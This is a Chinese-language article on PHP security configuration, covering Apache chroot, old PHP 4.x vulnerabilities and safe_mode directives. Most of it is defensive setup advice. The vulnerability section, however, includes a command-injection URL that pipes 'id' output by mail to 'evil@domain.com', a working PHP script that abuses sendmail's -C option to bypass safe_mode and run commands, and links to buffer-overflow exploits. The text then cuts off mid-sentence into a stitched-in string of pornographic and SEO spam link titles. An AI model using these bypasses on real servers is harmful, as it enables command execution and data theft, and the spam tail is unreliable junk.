PHP安全配置
一、Web服務器安全
php其實不過是Web服務器的一個模塊功能,所以首先要保證Web服務器的安全。當然Web服務器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠了,無窮無盡。php可以和各種Web服務器結合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和php及其腳本出現(xiàn)漏洞,受影響的也只有這個禁錮的系統(tǒng),不會危害實際系統(tǒng)。但是使用chroot的Apache后,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現(xiàn)socket連接,這在效率上會稍微差一點。還有mail函數(shù)發(fā)送郵件也是個問題,因為php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是針對Win32平臺,所以需要在chroot環(huán)境下調整好sendmail。
二、php本身問題
1、遠程溢出
php-4.1.2以下的所有版本都存在文件上傳遠程緩沖區(qū)溢出漏洞,而且攻擊程序已經(jīng)廣泛流傳,成功率非常高:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、遠程拒絕服務
php-4.2.0和php-4.2.1存在php multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶權限,但是也能造成拒絕服務。
3、safe_mode繞過漏洞
還有php-4.2.2以下到php-4.0.5版本都存在php mail函數(shù)繞過safe_mode限制執(zhí)行命令漏洞,4.0.5版本開始mail函數(shù)增加了第五個參數(shù),由于設計者考慮不周可以突破safe_mode的限制執(zhí)行命令。其中4.0.5版本突破非常簡單,只需用分號隔開后面加shell命令就可以了,比如存在php腳本evil.php:
<? mail("foo@bar,"foo","bar","",$bar); ?>
執(zhí)行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com
這將id執(zhí)行的結果發(fā)送給evil@domain.com。
對于4.0.6至4.2.2的php突破safe_mode限制其實是利用了sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail。如下的代碼能夠突破safe_mode限制執(zhí)行命令:
<?
# 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
還是使用以上有問題版本php的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。
三、php本身的安全配置
php的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數(shù)進行設置。通過phpinfo()和get_cfg_var()函數(shù)可以得到配置選項的各個值。
如果配置選項是唯一php_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是php的Master值,但修改之后必須重啟apache才能生效。其中php.ini設置的選項是對Web服務器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。
如果還有其他的php_INI_USER, php_INI_PERDIR, php_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數(shù)設定,它們修改的是Local值,改了以后馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數(shù)只對該腳本程序設置ini_set()函數(shù)以后的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:
# grep php_INI_ /php_SRC/main/main.c
在討論php安全配置之前,應該好好了解php的safe_mode模式。
1、safe_mode
safe_mode是唯一php_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定義目錄:
<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>
重啟apache后safe_mode就生效了。啟動safe_mode,會對許多php函數(shù)進行限制,特別是和系統(tǒng)相關的文件打開、命令執(zhí)行等函數(shù)。
所有操作文件的函數(shù)將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:
<?include("index.html")?>
幾個文件的屬性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在瀏覽器請求test.php會提示如下的錯誤信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目錄的UID和腳本UID一致,那么該文件的UID即使和腳本不同也可以訪問的,不知這是否是php的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。
如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:
safe_mode_gid = On
設置了safe_mode以后,所有命令執(zhí)行的函數(shù)將被限制只能執(zhí)行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執(zhí)行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:
safe_mode_exec_dir = /usr/local/php/exec
然后拷貝程序到該目錄,那么php腳本就可以用system等函數(shù)來執(zhí)行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統(tǒng)命令。
safe_mode_include_dir string
當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。
從 php 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。
指定的限制實際上是一個前綴,而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那么請在結尾加上一個斜線,例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
設置某些環(huán)境變 主站蜘蛛池模板: 欧美黄色片免费观看 | 国产成人自拍视频在线观看 | 91久久香蕉国产线看 | 国产精品自拍一区 | 91精品国产丝袜高跟鞋 | 一区一区三区产品乱码 | 亚洲精品国产精品国自产 | 久热中文字幕 | 免费永久国产在线视频 | 亚洲欧美国产18 | 国语对白一区二区三区 | 国产麻豆精品一区 | 午夜久久久精品 | 日本国产一区二区三区 | 日本精品高清一区二区2021 | 亚洲综合插 | 精品久久久久久综合日本 | 色综合天天综合网站中国 | 亚洲黄色一级毛片 | 亚洲国产欧美国产第一区二区三区 | 日产一一到六区麻豆 | 特级做a爰片毛片免费看一区 | 久久精品综合视频 | 一色屋色费精品视频在线观看 | 性欧美激情在线观看 | 国产视频99 | 亚洲欧美国产精品久久久 | 亚洲婷婷综合色高清在线 | 人人公开免费超级碰碰碰视频 | 色多多www网站 | 国产色手机在线观看播放 | 香蕉久久久久久狠狠色 | 亚州一级毛片 | 依人成人| 美女视频一区二区三区 | 在线色 | 四虎一区| 精品日本亚洲一区二区三区 | 日韩精品第二页 | 91中文在线 | 78m.78摸免费视频 |